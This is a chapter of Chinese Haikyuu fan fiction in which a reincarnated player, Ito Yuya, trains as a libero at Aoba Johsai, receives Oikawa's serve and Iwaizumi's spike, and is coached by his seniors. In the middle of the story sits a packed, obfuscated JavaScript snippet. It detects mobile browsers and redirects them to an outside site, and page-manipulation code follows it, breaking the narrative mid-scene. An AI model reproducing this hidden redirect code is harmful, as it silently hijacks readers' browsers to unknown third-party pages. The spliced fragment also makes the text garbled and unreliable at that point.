2.
入部第三天，伊藤有弥发现了一件事。
青叶城西排球部的晨练从早上七点开始。
这意味着他必须在六点之前起床，才能在洗漱、吃早饭、通勤之后准时到达体育馆。
对于前世习惯了在凌晨两点睡觉、上午十点起床的漫画家来说，这无疑是最大的挑战。
但今天是第三天，他已经勉强适应了。
清晨六点四十五分，伊藤推开体育馆的门。
里面已经有几个人了。
金田一勇太郎正在做拉伸，他那头标志性的头发在晨光中显得格外蓬松——伊藤每次看到都会想起一种叫“韭菜”的蔬菜，但他绝对不会说出来。
金田一看上去性格很好，但伊藤不确定对方能不能接受这种玩笑。
国见英坐在场边，手里拿着一盒牛奶，表情像是还没睡醒。
他的眼睛半睁着，整个人散发着一种“不要跟我说话”的气场。
还有一个人。
渡亲治已经在场上了。
他穿着运动服，一个人在对墙接球。
排球砸在墙上的声音在空旷的体育馆里回荡，节奏稳定得像是节拍器。
伊藤换好衣服，走到场边开始热身。
他没有立刻加入渡的练习，而是先认真地做了二十分钟的拉伸。
前世的经验告诉他，自由人的身体承受的冲击力最大，不好好热身的话，轻则肌肉拉伤，重则影响整个赛季。
渡在接球的间隙看了伊藤一眼。
这个后辈给他留下的印象是“安静”。
非常安静。不说话，不发出多余的声音，连走路都几乎没有脚步声。
在球场上也是——伊藤接球的时候从不喊“我来”，只是默默地移动到球的位置，稳稳地把球接起来，然后回到自己的位置。
对于一个自由人来说，这未必是坏事。
但对于一个团队来说，太安静了也不是好事。
渡没有把自己的想法说出来。他只是继续对墙接球，把节奏从慢到快、从低到高，一点点地提升难度。
伊藤热完身，站了起来。
他犹豫了一下，走到渡旁边的墙边，拿了一颗球，也开始对墙接球。
两个人，一面墙，两颗球。
体育馆里回荡着交错的两个节奏。
伊藤的节奏比渡慢一些，但他的动作很干净。
每次球砸在墙上反弹回来，他的身体都会在毫厘之间调整到最佳位置，前臂形成一个平稳的平台，让球以最稳定的弧线弹回去。
渡的余光一直落在伊藤身上。
他在心里默默评估着这个后辈的水平。
优点很明显：接球动作扎实，脚步移动灵活，球感很好。
缺点也同样明显：力量不足，球速快的时候手臂会被弹开；身体素质一般，持续高强度移动后会出现明显的体力下滑。
总的来说，是一个有潜力、但还需要大量打磨的一年生。
渡收回了视线。
他不会轻易让出正选的位置。
不是因为自私，而是因为他相信自己的实力配得上那个位置。
如果有人要超越他，那个人必须比他更强。
而现在，伊藤还不够强。
晨练在七点五十分结束。
伊藤冲了个澡，换上校服，走进一年三班的教室时，第一节课的预备铃刚好响起。
他在座位上坐下，拿出课本。
同桌佐佐木看了他一眼。
“伊藤同学，你参加的是什么社团？”
“排球部。”
“诶——好厉害！是正选吗？”
“不是。刚入部。”
“这样啊。那你要加油哦！”
“嗯。”
佐佐木似乎习惯了伊藤简短的回答，笑了笑，转回头去听课了。
伊藤看着黑板，脑子里却在回想今天晨练时的每一个接球。
他有十个球接得不够到位，三个球的落点判断出现了偏差，还有一个球因为手臂角度不对直接飞出了场外。
他在心里默默记下了这些失误，准备在今天的部活中重点修正。
这就是他的方式。
不打鸡血，不喊口号，只是安静地、持续地、一点一点地改进。
前世的经验告诉他，天赋无法改变，但技术可以打磨到极致。
下午四点，部活开始。
今天的内容是队内练习赛。
三年级的正选组成一队，一年级和二年级的替补组成另一队。
伊藤被安排在替补队的自由人位置。
这是他在青城排球部的第一场正式练习赛。
站在他对面的是及川彻、岩泉一、松川一静、花卷贵大、渡亲治和另一名三年级的副攻手。
一个几乎完整的青城最强阵容。
“一年级的，不用紧张哦。”及川站在网对面，笑着朝替补队这边挥手，“及川前辈会手下留情的。”
“你别在那瞎说。”岩泉从后面踢了他一脚，“认真打。”
伊藤深吸了一口气。
他站在后排中央的位置，膝盖微屈，重心前倾，双手自然垂在身体两侧。
对面发球的是及川彻。
及川站在底线后，手里转着球。
他的动作看起来很轻松，但伊藤知道那只是表象。
及川的跳发球是宫城县最强级别的，球速快、旋转强、落点刁钻，即使在练习赛中也不会放水。
及川抛球。
助跑。
起跳。
挥臂。
球像一颗白色的炮弹飞过来，带着强烈的旋转，瞄准了替补队后排的边线位置。
伊藤动了。
他在及川触球的瞬间就已经开始移动。
不是靠反应速度——人的反应速度再快也跟不上及川的发球速度——而是靠预判。
他在及川起跳的那一刻观察了对方的肩膀角度、手臂摆动轨迹和击球点，在大脑里快速计算出了球的大致落点。
然后他跑了过去。
球砸在他前臂上的瞬间，他感受到了那股冲击力——比花卷的扣球重得多。他的手臂被弹开了一点，但他用身体的重心调整弥补了这个偏差。
球弹起来，飞向了场地的中央。
虽然弧线不够完美，但方向是对的。
替补队的二传手——一个二年级的男生——追上了球，托给了前排的主攻手。
扣球被岩泉拦了回来。
伊藤没有时间去想“我接起了及川的发球”这件事。
他已经开始移动了，朝着岩泉拦回来的球的方向。
球落在中场附近。
伊藤鱼跃扑出，手臂在地板上滑行了一段距离，将球兜了起来。
球高高飞起，落到了后排的边线附近。
虽然没有送到二传手的位置，但至少没有直接落地。
“好球！”替补队的二传手喊了一声。
伊藤从地上爬起来，拍了拍膝盖上的灰，回到自己的位置。
网对面，及川看着伊藤，眉毛微微挑了一下。
那个一年级生接起了他的跳发球。
虽然球的质量不算高，但确实接起来了，而且是在没有准备的情况下——作为替补队的自由人，伊藤应该是第一次面对及川的发球。
“有意思。”及川小声说。
岩泉也注意到了。他看了一眼及川，又看了一眼对面那个安静的一年级生，嘴角微微动了一下——那不是笑，但也不是面无表情。
比赛继续进行。
替补队实力悬殊，很快就丢了第一局。
但伊藤在场上的表现让所有人都注意到了他。
他的防守范围很大。
有些看起来明明是界外的球，他会追过去确认；有些看起来绝对接不到的球，他会飞身扑出去尝试。
他接起的球不一定都到位，但他几乎不会让球直接落地。
更重要的是，他从不放弃。
即使比分被拉开到十分以上，即使对面及川的扣球越来越刁钻，他的专注力始终没有下降。
每一个球，他都全力以赴地去追、去接、去救。
第二局中段，及川给岩泉传了一个高球。
岩泉起跳，手臂后拉，身体像一张拉满的弓。
他的扣球是力量型的代表，球速不一定最快，但冲击力绝对是最强的之一。
伊藤站在岩泉扣球线路的前方。
他看得很清楚。
岩泉的手臂角度、扣球点、身体朝向——所有的信息都在告诉他，这球会打向场地的左侧。
他移动了。
球砸在他的手腕上。
那一瞬间，他的整条手臂都在发麻。
岩泉的扣球力量超出了他的预期——前世他面对过最强的扣球手也只是大学联赛级别，而岩泉的力量即使在高中联赛中也属于顶级。
球弹了起来，飞向场外。
伊藤没有放弃。
他转身追了出去，在球即将落地的前一刻，用单手将球捞了回来。
球奇迹般地飞回了场内。
替补队的二传手冲过去，勉强将球托起。
扣球被松川拦下，球落在替补队的场内。
得分无效。
但全场安静了一瞬。
“喂喂喂，”花卷站在网前，瞪大眼睛看着伊藤，“那个球他都追到了？”
“反应不错。”松川冷静地评价。
岩泉站在网对面，看着伊藤从地板上爬起来。
那个一年级的自由人正在揉自己的手腕，脸上没有什么表情，但耳朵尖微微泛红——可能是运动后的充血，也可能是因为全场的目光都集中在他身上。
岩泉在心里给伊藤加了一分。
比赛结束后，伊藤坐在场边喝水。
他的手臂上多了好几块红色的印记，右手腕因为接了岩泉那记重扣有些肿胀，膝盖也因为几次鱼跃擦破了皮。
但他没有觉得疼。
或者说，他太专注于比赛本身，根本没有注意到这些。
“伊藤。”
一个声音从头顶传来。
伊藤抬头，看到了渡。
渡在他旁边坐下来，手里也拿着一瓶水。
“你今天接了不少好球。”渡说。
“……谢谢。”
“但是，”渡的语气没有变化，“你有几个球太冒险了。鱼跃救球看起来很帅，但如果你没有把球送到位，那和直接丢分没有区别。自由人的第一要务是让球回到二传手的手里，不是为了救球而救球。”
伊藤沉默了。
渡说的是对的。
有几个球他确实太拼了，把球救起来却没有送到位，结果队友只能勉强处理，最后还是丢了分。
“我知道了。”伊藤说。
渡看了他一眼，似乎在确认他是不是真的听进去了。
伊藤的表情很认真。
渡站了起来。
“明天晨练，我来给你做专门的接球训练。你的动作需要调整。”
“……好。”
渡转身走了。
伊藤坐在场边，看着渡的背影。
渡亲治是一个很好的前辈。
他愿意指导后辈，但不会降低对后辈的要求；他会在训练中和伊藤竞争，但也会在场边指出伊藤的不足。
这正是伊藤需要的。
不是被照顾，不是被鼓励，而是被认真地当作一个对手来看待。
收拾场地的时候，金田一走到伊藤旁边。
“伊藤，你刚才接岩泉前辈那个球的时候，手腕没事吧？”
金田一的声音很大，带着一种天然的、毫不掩饰的关心。
“没、没事。”伊藤说，“就是有点麻。”
“岩泉前辈的扣球真的很可怕啊。”金田一搓了搓自己的手臂，“我之前跟他一队的时候接过一次，整条手臂都肿了。”
“嗯。”
“对了，你初中是哪个学校的？”
“仙台市立第一中学。”
金田一点了点头，没有表现出特别的反应。
仙台市立第一是一所普通的公立初中，排球部实力不算突出，在县内比赛中很少进入深轮次。
金田一大概只是随口一问，并没有继续追问下去。
“那你初中也打自由人？”金田一又问。
“嗯。”伊藤说，“打得不太好。进了高中想重新开始。”
这既是实话，也是巧妙的避重就轻。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454770|201213||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
这具身体的初中排球经历确实存在，但水平一般——从五维数据来看，初中时代的伊藤有弥大概也只是县大会八强的水平。
而伊藤本人穿越前虽然打了六年球，但那是在另一个世界的高中和大学，和这具身体的初中经历是两个不同的体系。
他说“进了高中想重新开始”，既没有否认初中打过排球的事实，也没有把两个世界的经历混在一起。
金田一听完，拍了拍他的肩膀：“那你来对地方了。青城的自由人训练很严格的，跟着渡前辈好好练，肯定能进步。”
“嗯。”
国见从旁边经过，淡淡地看了伊藤一眼，没有说话。
伊藤注意到国见的目光在自己身上停留了不到一秒就移开了，像是什么都没在看，又像是什么都看到了。
他垂下眼睛，继续收拾场地。
训练结束后，伊藤一个人留下来加练，这是他的习惯。
前世就这样——正课训练结束之后，他会留下来再练三十分钟到一小时，专门针对当天的薄弱环节进行强化。
今天的重点是接扣球后的送球到位率。
渡说的对。
自由人的第一要务不是“把球救起来”，而是“把球送到二传手手里”。
一个漂亮的鱼跃救球如果球没到位，和直接丢分没有本质区别。
伊藤在墙上画了一个标记，模拟二传手的高度和位置。
然后他一次次地把球砸向墙壁，接起反弹回来的球，尝试将球送到标记的位置。
一次。两次。三次。
不够好。再来。
球偏离了标记。再来。
球速太快，手臂弹开了。调整角度，再来。
伊藤擦了擦额头上的汗，继续。
体育馆的门被推开了。
岩泉走了进来。
他看到伊藤一个人在加练，脚步顿了一下，但没有说什么。
他走到场边，拿了一颗球，开始做自己的发球练习。
两个人，一个在球场这边，一个在球场那边，各练各的，谁也没有打扰谁。
过了大概二十分钟，岩泉停了下来。
他站在底线，看着伊藤的方向。
伊藤正在反复练习同一种球——左侧的斜线扣杀。
他接起球，送到标记位置，球偏了，他跑回去捡球，重新开始。
动作机械而专注。
岩泉看了一会儿，忽然开口了。
“你的右脚。”
伊藤停下来，转头看向岩泉。
“接左侧球的时候，你的右脚移动太慢了。先动左脚，再用右脚调整，这样会浪费零点几秒。”岩泉说，“你应该直接跨右脚，用身体侧面去对球。”
伊藤愣住了。
他站在原地，在脑子里模拟了一下岩泉说的动作。
然后他意识到，岩泉是对的。
“谢谢前辈。”伊藤说。
岩泉点了点头，转身继续练发球。
伊藤按照岩泉的方法重新开始练习。
右脚直接跨出，身体侧对球的方向，前臂形成一个更稳定的平台。
球砸上来，弹起，飞向标记的位置——
比之前好了一些。
再来。
更好了一些。
再来。
伊藤的嘴角微微上扬。
他练到体育馆的自动灯熄灭，才收拾东西离开。
走在回家的路上，夜风吹干了他额头上的汗。
他的手臂还在隐隐作痛，膝盖上的擦伤在裤管摩擦下有些刺痛。
但他的心情很好。
不是因为系统发布了什么任务——系统今天一整天都没有出声。
也不是因为他在练习赛中表现突出——他还有很多不足。
而是因为他发现自己正在变好。
不是那种“突然开窍”的变好，而是那种每一天都比前一天进步一点的、缓慢但确凿的变好。
这种感觉，他已经很久很久没有体会过了。
回到公寓后，伊藤洗了个澡，坐在书桌前。
他拿出笔记本，开始记录今天的训练内容。
这是他前世的习惯——把每一次训练中遇到的问题、得到的建议、需要改进的地方都写下来。
这个方法很笨，但很有效。
文字能够帮助他把模糊的感觉变成具体的、可执行的目标。
他在本子上写道：
“4月7日。晨练：对墙接球，送球到位率约70%。问题：球速快时手臂稳定性不足。”
“练习赛：接起及川前辈跳发球1次，失误2次。接起岩泉前辈扣球1次，手臂承受力不足。”
“岩泉前辈建议：接左侧球时直接跨右脚。”
“明日目标：送球到位率提升至75%。”
写完这些，他又加了一行：
“渡前辈说要给我做专门训练。要好好表现。”
他合上笔记本，躺在床上。
天花板上映着窗外路灯的光，模模糊糊的。
他闭上眼睛，脑海中浮现出今天在球场上的画面——及川的跳发球、岩泉的重扣、渡在场边看他的眼神、金田一笑着拍他肩膀的样子、国见那个若有若无的扫视。
还有他自己。
那个在空荡荡的体育馆里一遍遍重复同一个动作的自己。
前世，他曾经无数次问自己：为什么要打排球？
明明没有天赋，明明总是输，明明再怎么努力也追不上别人。为什么还要打？
他找不到答案。所以放弃了。
但现在，他似乎找到了一点头绪。
不是因为要赢，不是因为要证明什么。
只是因为，当球稳稳地接起来、送到二传手的手里、看着队友扣球得分的那一刻——他觉得自己在做一件正确的事情。
这种感觉，值得他用全部的努力去追寻。
伊藤翻了个身，把被子拉到下巴。
明天还有晨练。
要早起。
他闭上眼睛，很快就睡着了。
四月的夜风从窗缝里钻进来，吹动了书桌上笔记本的纸页。
纸页上密密麻麻的字迹在月光下安静地躺着，记录着一个少年重新开始的故事。